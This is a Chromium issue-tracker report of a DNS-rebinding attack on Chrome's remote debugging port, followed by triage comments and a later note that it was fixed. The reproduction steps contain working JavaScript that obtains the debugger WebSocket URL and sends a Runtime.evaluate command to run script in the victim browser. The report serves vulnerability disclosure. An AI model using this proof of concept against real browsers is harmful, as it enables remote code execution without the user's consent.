Remote debugging API vulnerable to DNS Rebinding
Reported by
jannhorn@googlemail.com,
Sep 25 2016
|
||||||
Issue description
UserAgent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.113 Safari/537.36
Steps to reproduce the problem:
1. Launch Chrome with "google-chrome-unstable --remote-debugging-port=9123". In the
launched Chrome instance, open chrome://settings.
2. Configure a couple of A records for hostnames under some domain you control so
that each hostname has one record pointing to 127.0.0.1 and one record pointing
to some server you control. (I'll use localandserver{1,2,3,...}.example.org in
the following text.)
3. Let the server listen on port 9123, too.
4. In another chrome instance, navigate to http://localandserver1.example.org:9123/.
If you get the "Inspectable pages" page, use the next hostname, and repeat it until
you get the page from your own server. (This could be automated for a real attack.)
5. Stop the webserver on port 9123 of the server.
6. Run this in the context of the page loaded from your server:
var req = new XMLHttpRequest();
req.open('get', '/json', false);
req.send();
var wsurl = JSON.parse(req.responseText)[0].webSocketDebuggerUrl;
console.log(wsurl);
var ws = new WebSocket(wsurl);
ws.onmessage = function(msg) {console.log(msg.data)};
ws.onopen = function() {
ws.send(JSON.stringify({id:1,method:"Runtime.evaluate",params:{expression:"alert(document.location)",objectGroup:"console",includeCommandLineAPI:true,silent:false,contextId:1,returnByValue:false,generatePreview:true,userGesture:true,awaitPromise:false}}))
};
What is the expected behavior?
While it isn't entirely unreasonable to design a feature like this one under the assumption that it isn't used while untrusted websites are open in any browser on the system, it might still make sense to have some mitigations against this.
In particular, I believe that adding checks on the "Host" header would be a mitigation with low compatibility risks that would still prevent webpages from obtaining websocket URLs. (Checking the "Origin" header might lead to more compatibility issues.)
What went wrong?
A normal webpage is able to connect to the remote debugging port and issue commands through it.
Did this work before? N/A
Chrome version: 55.0.2859.0 Channel: dev
OS Version:
Flash Version: Shockwave Flash 23.0 r0
,
Sep 25 2016
skyostil@, please have a look. From a security POV, this is a non-default configuration that isn't trivial to get into, but unlike other unsafe modes (e.g. --disable-web-security), there's no UI warning or notice to the user that Chrome is running in this less-secure mode. We might consider implementing Host header limits by default, and/or providing notice to the user that their instance is running in a less-secure mode.
,
Sep 27 2016
I'm not sure I'm the right owner here. Pavel, any idea? Maybe we should just show a butterbar when remote debugging is enabled?
,
Sep 27 2017
This issue has been Available for over a year. If it's no longer important or seems unlikely to be fixed, please consider closing it out. If it is important, please re-triage the issue. Sorry for the inconvenience if the bug really should have been left as Available. If you change it back, also remove the "Hotlist-Recharge-Cold" label. For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
,
Nov 27 2017
Looks artificial, not seeing it as worth addressing.
,
Mar 6 2018
This bug has been closed for more than 14 weeks. Removing security view restrictions. For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
,
Mar 29 2018
This got fixed as Issue 813540 . |
||||||
►
Sign in to add a comment |
||||||
Comment 1 by elawrence@chromium.org
, Sep 25 2016